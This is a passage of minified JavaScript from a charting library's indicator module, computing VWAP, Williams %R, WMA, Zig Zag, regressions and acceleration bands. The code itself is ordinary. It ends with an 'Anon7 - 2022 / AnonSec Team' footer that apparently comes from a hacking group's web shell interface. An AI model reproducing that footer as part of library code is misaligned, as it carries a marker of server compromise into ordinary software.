l=[],h=[],f=[],m;if(!b.chart)return d.error("Base series not found! In case it has been removed, add a new one.",!0,g);if(!(m=g.get(a.volumeSeriesID)))return d.error("Series "+a.volumeSeriesID+" not found! Check `volumeSeriesID`.",!0,g);if((a=d.isArray(e[0]))&&4!==e[0].length)return d.error("Type of "+b.name+" series is different than line, OHLC or candlestick.",!0,g);(this.priceZones=this.specifyZones(a,c,e,k,m)).forEach(function(b,a){l.push([b.x,b.end]);h.push(l[a][0]);f.push(l[a][1])});return{values:l,
xData:h,yData:f}},specifyZones:function(b,c,e,k,f){var g;if(b){g=e.length;for(var l=e[0][3],h=l,r=1,m;r<g;r++)m=e[r][3],m<l&&(l=m),m>h&&(h=m);g={min:l,max:h}}else g=!1;g=(l=g)?l.min:d.arrayMin(e);m=l?l.max:d.arrayMax(e);var l=this.zoneStarts=[],h=[],n=0,r=1,q;if(!g||!m)return this.points.length&&(this.setData([]),this.zoneStarts=[],this.zoneLinesSVG.destroy()),[];q=this.rangeStep=a(m-g)/k;for(l.push(g);n<k-1;n++)l.push(a(l[n]+q));l.push(m);for(k=l.length;r<k;r++)h.push({index:r-1,x:c[0],start:l[r-
1],end:l[r]});return this.volumePerZone(b,h,f,c,e)},volumePerZone:function(b,a,c,d,e){var g=this,k=c.processedXData,h=c.processedYData,r=a.length-1,m=e.length;c=h.length;var n,q,u,t,x;f(m-c)&&(d[0]!==k[0]&&h.unshift(0),d[m-1]!==k[c-1]&&h.push(0));g.volumeDataArray=[];a.forEach(function(a){a.wholeVolumeData=0;a.positiveVolumeData=0;for(x=a.negativeVolumeData=0;x<m;x++)u=q=!1,t=b?e[x][3]:e[x],n=x?b?e[x-1][3]:e[x-1]:t,t<=a.start&&0===a.index&&(q=!0),t>=a.end&&a.index===r&&(u=!0),(t>a.start||q)&&(t<a.end||
u)&&(a.wholeVolumeData+=h[x],n>t?a.negativeVolumeData+=h[x]:a.positiveVolumeData+=h[x]);g.volumeDataArray.push(a.wholeVolumeData)});return a},drawZones:function(a,c,d,e){var b=a.renderer,g=this.zoneLinesSVG,k=[],h=a.plotWidth,r=a.plotTop,f;d.forEach(function(b){f=c.toPixels(b)-r;k=k.concat(a.renderer.crispLine(["M",0,f,"L",h,f],e.lineWidth))});g?g.animate({d:k}):g=this.zoneLinesSVG=b.path(k).attr({"stroke-width":e.lineWidth,stroke:e.color,dashstyle:e.dashStyle,zIndex:this.group.zIndex+.1}).add(this.group)}},
{destroy:function(){this.negativeGraphic&&(this.negativeGraphic=this.negativeGraphic.destroy());return d.Point.prototype.destroy.apply(this,arguments)}})});t(f,"indicators/vwap.src.js",[f["parts/Globals.js"]],function(d){var f=d.isArray,q=d.seriesType;q("vwap","sma",{params:{period:30,volumeSeriesID:"volume"}},{getValues:function(k,a){var c=k.chart,e=k.xData;k=k.yData;var b=a.period,g=!0,r;if(!(r=c.get(a.volumeSeriesID)))return d.error("Series "+a.volumeSeriesID+" not found! Check `volumeSeriesID`.",
!0,c);f(k[0])||(g=!1);return this.calculateVWAPValues(g,e,k,r,b)},calculateVWAPValues:function(d,a,c,e,b){var g=e.yData,k=e.xData.length,f=a.length;e=[];var m=[],p=[],l=[],h=[],q,t,C,k=f<=k?f:k;for(C=f=0;f<k;f++)q=d?(c[f][1]+c[f][2]+c[f][3])/3:c[f],q*=g[f],q=C?e[f-1]+q:q,t=C?m[f-1]+g[f]:g[f],e.push(q),m.push(t),h.push([a[f],q/t]),p.push(h[f][0]),l.push(h[f][1]),C++,C===b&&(C=0);return{values:h,xData:p,yData:l}}})});t(f,"indicators/williams-r.src.js",[f["parts/Globals.js"],f["mixins/reduce-array.js"]],
function(d,f){var m=d.isArray,k=f.getArrayExtremes;d.seriesType("williamsr","sma",{params:{period:14}},{nameBase:"Williams %R",getValues:function(a,c){c=c.period;var d=a.xData,b=(a=a.yData)?a.length:0,g=[],f=[],q=[],n,p,l,h;if(d.length<c||!m(a[0])||4!==a[0].length)return!1;for(h=c-1;h<b;h++)n=a.slice(h-c+1,h+1),p=k(n,2,1),n=p[0],p=p[1],l=a[h][3],n=(p-l)/(p-n)*-100,d[h]&&(g.push([d[h],n]),f.push(d[h]),q.push(n));return{values:g,xData:f,yData:q}}})});t(f,"indicators/wma.src.js",[f["parts/Globals.js"]],
function(d){function f(a,c){c*=(c+1)/2;return a.reduce(function(a,b,c){return[null,a[1]+b[1]*(c+1)]})[1]/c}function q(a,c,d,b){d=f(a,a.length);c=c[b-1];a.shift();return[c,d]}var k=d.isArray;d=d.seriesType;d("wma","sma",{params:{index:3,period:9}},{getValues:function(a,c){var d=c.period,b=a.xData,g=(a=a.yData)?a.length:0,f=1,m=b[0],n=a[0],p=[],l=[],h=[],t=-1;if(b.length<d)return!1;k(a[0])&&(t=c.index,n=a[0][t]);for(c=[[m,n]];f!==d;)c.push([b[f],0>t?a[f]:a[f][t]]),f++;for(d=f;d<g;d++)f=q(c,b,a,d),p.push(f),
l.push(f[0]),h.push(f[1]),c.push([b[d],0>t?a[d]:a[d][t]]);f=q(c,b,a,d);p.push(f);l.push(f[0]);h.push(f[1]);return{values:p,xData:l,yData:h}}})});t(f,"indicators/zigzag.src.js",[f["parts/Globals.js"]],function(d){d=d.seriesType;d("zigzag","sma",{params:{lowIndex:2,highIndex:1,deviation:1}},{nameComponents:["deviation"],nameSuffixes:["%"],nameBase:"Zig Zag",getValues:function(d,f){var k=f.lowIndex,a=f.highIndex,c=f.deviation/100;f=1+c;var e=1-c,c=d.xData,b=d.yData;d=b?b.length:0;var g=[],m=[],q=[],
n,p,l,h,t,E,C=!1,w=!1;if(1>=c.length||d&&(void 0===b[0][k]||void 0===b[0][a]))return!1;h=b[0][k];t=b[0][a];for(n=1;n<d;n++)b[n][k]<=t*e?(g.push([c[0],t]),l=[c[n],b[n][k]],C=E=!0):b[n][a]>=h*f&&(g.push([c[0],h]),l=[c[n],b[n][a]],E=!1,C=!0),C&&(m.push(g[0][0]),q.push(g[0][1]),p=n++,n=d);for(n=p;n<d;n++)E?(b[n][k]<=l[1]&&(l=[c[n],b[n][k]]),b[n][a]>=l[1]*f&&(w=a)):(b[n][a]>=l[1]&&(l=[c[n],b[n][a]]),b[n][k]<=l[1]*e&&(w=k)),!1!==w&&(g.push(l),m.push(l[0]),q.push(l[1]),l=[c[n],b[n][w]],E=!E,w=!1);k=g.length;
0!==k&&g[k-1][0]<c[d-1]&&(g.push(l),m.push(l[0]),q.push(l[1]));return{values:g,xData:m,yData:q}}})});t(f,"indicators/regressions.src.js",[f["parts/Globals.js"]],function(d){var f=d.seriesType,q=d.isArray;f("linearRegression","sma",{params:{xAxisUnit:void 0},tooltip:{valueDecimals:4}},{nameBase:"Linear Regression Indicator",getRegressionLineParameters:function(d,a){var c=this.options.params.index,e=function(a,b){return q(a)?a[b]:a},b=d.reduce(function(a,b){return b+a},0),g=a.reduce(function(a,b){return e(b,
c)+a},0),b=b/d.length,g=g/a.length,f,k,m=0,p=0,l;for(l=0;l<d.length;l++)f=d[l]-b,k=e(a[l],c)-g,m+=f*k,p+=Math.pow(f,2);d=p?m/p:0;return{slope:d,intercept:g-d*b}},getEndPointY:function(d,a){return d.slope*a+d.intercept},transformXData:function(d,a){var c=d[0];return d.map(function(d){return(d-c)/a})},findClosestDistance:function(d){var a,c,e;for(e=1;e<d.length-1;e++)a=d[e]-d[e-1],0<a&&(void 0===c||a<c)&&(c=a);return c},getValues:function(d,a){var c=d.xData;d=d.yData;a=a.period;var e,b,f,k,m={xData:[],
yData:[],values:[]},n,p=this.options.params.xAxisUnit||this.findClosestDistance(c);for(b=a-1;b<=c.length-1;b++)f=b-a+1,k=b+1,n=c[b],e=c.slice(f,k),f=d.slice(f,k),k=this.transformXData(e,p),e=this.getRegressionLineParameters(k,f),f=this.getEndPointY(e,k[k.length-1]),m.values.push({regressionLineParameters:e,x:n,y:f}),m.xData.push(n),m.yData.push(f);return m}});f("linearRegressionSlope","linearRegression",{},{nameBase:"Linear Regression Slope Indicator",getEndPointY:function(d){return d.slope}});f("linearRegressionIntercept",
"linearRegression",{},{nameBase:"Linear Regression Intercept Indicator",getEndPointY:function(d){return d.intercept}});f("linearRegressionAngle","linearRegression",{tooltip:{pointFormat:'\x3cspan style\x3d"color:{point.color}"\x3e\u25cf\x3c/span\x3e{series.name}: \x3cb\x3e{point.y}\u00b0\x3c/b\x3e\x3cbr/\x3e'}},{nameBase:"Linear Regression Angle Indicator",slopeToAngle:function(d){return 180/Math.PI*Math.atan(d)},getEndPointY:function(d){return this.slopeToAngle(d.slope)}})});t(f,"indicators/acceleration-bands.src.js",
[f["parts/Globals.js"],f["mixins/multipe-lines.js"]],function(d,f){var m=d.seriesTypes.sma,k=d.merge,a=d.correctFloat;d.seriesType("abands","sma",{params:{period:20,factor:.001,index:3},lineWidth:1,topLine:{styles:{lineWidth:1}},bottomLine:{styles:{lineWidth:1}},dataGrouping:{approximation:"averages"}},k(f,{pointArrayMap:["top","middle","bottom"],pointValKey:"middle",nameBase:"Acceleration Bands",nameComponents:["period","factor"],linesApiNames:["topLine","bottomLine"],getValues:function(c,d){var b=
d.period,e=d.factor;d=d.index;var f=c.xData,k=(c=c.yData)?c.length:0,n=[],p=[],l=[],h,q,t,C,w=[],G=[],v;if(k<b)return!1;for(v=0;v<=k;v++)v<k&&(C=c[v][2],t=c[v][1],q=e,C=a(t-C)/(a(t+C)/2)*1E3*q,n.push(c[v][1]*a(1+2*C)),p.push(c[v][2]*a(1-2*C))),v>=b&&(C=f.slice(v-b,v),h=c.slice(v-b,v),q=m.prototype.getValues.call(this,{xData:C,yData:n.slice(v-b,v)},{period:b}),t=m.prototype.getValues.call(this,{xData:C,yData:p.slice(v-b,v)},{period:b}),h=m.prototype.getValues.call(this,{xData:C,yData:h},{period:b,
index:d}),C=h.xData[0],q=q.yData[0],t=t.yData[0],h=h.yData[0],l.push([C,q,h,t]),w.push(C),G.push([q,h,t]));return{values:l,xData:w,yData:G}}}))});t(f,"masters/indicators/indicators-all.src.js",[],function(){})});
//# sourceMappingURL=indicators-all.js.map

Anon7 - 2022
AnonSec Team